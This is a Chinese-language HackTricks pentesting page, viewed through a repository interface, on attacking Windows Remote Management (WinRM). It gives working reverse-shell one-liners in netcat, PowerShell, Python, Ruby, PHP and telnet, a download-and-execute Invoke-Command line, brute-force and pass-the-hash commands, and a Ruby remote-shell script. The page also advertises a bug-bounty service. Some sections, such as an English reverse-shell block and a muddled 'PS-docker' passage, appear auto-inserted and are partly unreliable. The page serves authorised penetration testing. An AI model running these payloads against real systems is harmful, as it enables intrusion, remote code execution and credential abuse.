hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2023-08-03 19:12:22 +00:00

462 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - WinRM渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
**无需延迟获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。
**在web3渗透测试中获得经验**\
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
## WinRM
[Windows远程管理](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)WinRM是一种微软协议**允许通过HTTP(S)使用SOAP远程管理Windows机器**。在后端它使用WMI因此您可以将其视为基于HTTP的WMI API。
如果机器上启用了WinRM则可以轻松地从PowerShell远程管理该机器。实际上您可以像使用SSH一样进入机器上的远程PowerShell会话
检测WinRM是否可用的最简单方法是查看端口是否打开。WinRM将监听以下两个端口
* **5985/tcpHTTP**
* **5986/tcpHTTPS**
如果其中一个端口打开表示已配置WinRM您可以尝试进入远程会话。
## **启动WinRM会话**。
我们可以配置PowerShell与WinRM一起工作。根据Microsoft的文档Enable-PSRemoting是一个配置计算机以接收PowerShell远程命令的cmdlet。如果我们可以在受害者上访问提升的PowerShell提示符我们可以启用它并将任何"攻击者"添加为受信任的主机。我们可以运行以下两个命令:
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
这将在trustedhosts设置中添加通配符。请注意其中的含义。注意我还必须将攻击机器上的网络类型从“公共”更改为“工作”网络。
您还可以使用wmic远程激活WinRM。
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### 测试是否已配置
一旦攻击机器已配置好,使用`Test-WSMan`函数来测试目标是否已配置为WinRM。您应该会看到一些关于协议版本和wsmid的返回信息
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
在这个例子中,第一个已经配置好了,而第二个没有。
### 执行命令
现在我们可以使用PowerShell的`Invoke-Command`在目标上通过WinRM远程执行命令。要远程运行`ipconfig`并查看输出:
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)
您还可以通过**Invoke-Command**在当前的PS控制台中执行命令。假设您在本地有一个名为**enumeration**的函数,并且您想在远程计算机上执行它,您可以这样做:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### 执行脚本
To execute a script on a target machine through WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote computers.
```powershell
Invoke-Command -ComputerName <target> -ScriptBlock {<script>}
```
Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the script you want to execute.
For example, to execute a PowerShell script named `script.ps1` on a target machine with the IP address `192.168.1.100`, you would use the following command:
```powershell
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {C:\path\to\script.ps1}
```
Make sure to provide the correct path to the script on the target machine.
Note that you may need to authenticate with valid credentials to execute the script successfully.
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 获取反向Shell
To get a reverse shell, you can use the following methods:
#### Method 1: Netcat
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `nc <your_ip> <port> -e /bin/bash`.
#### Method 2: PowerShell
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`.
#### Method 3: Python
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`.
#### Method 4: Ruby
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<your_ip>",<port>);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`.
#### Method 5: PHP
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `php -r '$sock=fsockopen("<your_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'`.
#### Method 6: Telnet
1. Start a listener on your machine: `nc -lvp <port>`.
2. Execute the following command on the target machine: `telnet <your_ip> <port> | /bin/bash | telnet <your_ip> <port>`.
Remember to replace `<your_ip>` with your machine's IP address and `<port>` with the desired port number.
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### 获取一个PS会话
或者如果你想直接进入一个交互式的PowerShell会话可以使用`Enter-PSSession`函数:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**会话将在“受害者”内的新进程wsmprovhost中运行**
### **强制打开WinRM**
如果您真的想使用PS Remoting和WinRM但目标没有配置它您可以通过一个命令来“强制”打开它。我不建议这样做但如果您真的想使用WinRM或PSRemoting那么可以这样做。例如使用PSExec
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
现在我们可以在受害者上进入远程PS会话。
### 保存和恢复会话
如果远程计算机的语言受限,则此方法**无法正常工作**。
```ruby
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
在这个会话中您可以使用_Invoke-Command_加载PS脚本。
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### 错误
如果你遇到以下错误:
`enter-pssession : 连接到远程服务器 10.10.10.175 失败错误信息如下WinRM 客户端无法处理请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输或将目标机器添加到 TrustedHosts 配置设置中。使用 winrm.cmd 来配置 TrustedHosts。请注意TrustedHosts 列表中的计算机可能未经过身份验证。你可以通过运行以下命令获取更多信息winrm help config。有关更多信息请参阅 about_Remote_Troubleshooting 帮助主题。`
在客户端尝试以下操作(参考[这里](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof 是所有加密漏洞赏金的家园。**
**即时获得奖励**\
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
**在 web3 渗透测试中积累经验**\
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。
**成为 web3 黑客传奇**\
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
[**在 HackenProof 上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中赚取收入!
{% embed url="https://hackenproof.com/register" %}
## 在 Linux 中进行 WinRM 连接
### 暴力破解
请注意,暴力破解 WinRM 可能会阻止用户。
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### 使用 evil-winrm
Evil-winrm 是一款用于在 Windows 远程管理服务WinRM上进行渗透测试的工具。它提供了一个简单而强大的方式来与目标系统进行交互并执行各种攻击操作。
#### 安装 evil-winrm
要安装 evil-winrm可以使用 Ruby 的包管理器 gem 进行安装。在命令行中运行以下命令:
```bash
gem install evil-winrm
```
#### 连接到目标系统
使用 evil-winrm 连接到目标系统非常简单。在命令行中运行以下命令:
```bash
evil-winrm -i <目标 IP> -u <用户名> -p <密码>
```
替换 `<目标 IP>`、`<用户名>` 和 `<密码>` 为实际的目标系统 IP 地址、用户名和密码。
#### 执行命令
连接成功后,您可以在 evil-winrm 提供的交互式命令行中执行各种命令。例如,要列出目标系统上的用户,可以运行以下命令:
```bash
shell whoami
```
#### 上传和下载文件
使用 evil-winrm您还可以上传和下载文件到目标系统。要上传文件可以使用以下命令
```bash
upload <本地文件路径> <目标文件路径>
```
要下载文件,可以使用以下命令:
```bash
download <目标文件路径> <本地文件路径>
```
替换 `<本地文件路径>``<目标文件路径>` 为实际的本地文件路径和目标文件路径。
#### 退出连接
要退出 evil-winrm 连接,可以在命令行中运行以下命令:
```bash
exit
```
这将关闭与目标系统的连接。
#### 注意事项
在使用 evil-winrm 进行渗透测试时,请务必遵守法律和道德规范。仅在获得合法授权的情况下使用该工具,并且仅限于合法的渗透测试活动。
```ruby
gem install evil-winrm
```
阅读其github上的**文档**[https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
要使用evil-winrm连接到一个IPv6地址在/etc/hosts中创建一个条目将一个域名设置为该IPv6地址并连接到该域名。
### 使用evil-winrm传递哈希值
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)
### 使用PS-docker机器
PS-docker是一种利用Docker容器来执行PowerShell脚本的技术。通过使用PS-docker机器我们可以在目标系统上执行PowerShell命令以便进行渗透测试和攻击。
要使用PS-docker机器我们需要先安装Docker并确保Docker服务正在运行。然后我们可以使用以下命令创建一个PS-docker机器
```plaintext
docker run -it --rm mcr.microsoft.com/powershell
```
这将下载并运行一个包含PowerShell的Docker容器。一旦容器启动我们就可以在容器中执行PowerShell命令。
要连接到目标系统的WinRM服务我们可以使用以下命令
```plaintext
Enter-PSSession -ComputerName <target_ip> -Port <winrm_port> -Credential <credentials>
```
其中,`<target_ip>`是目标系统的IP地址`<winrm_port>`是WinRM服务的端口号`<credentials>`是用于身份验证的凭据。
一旦连接成功我们就可以在目标系统上执行各种PowerShell命令包括执行远程代码、查找敏感信息等。
请注意使用PS-docker机器需要具有适当的权限和授权且仅限于合法的渗透测试和授权活动。
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### 使用Ruby脚本
从这里提取的代码:[https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## 参考资料
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks 自动命令
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>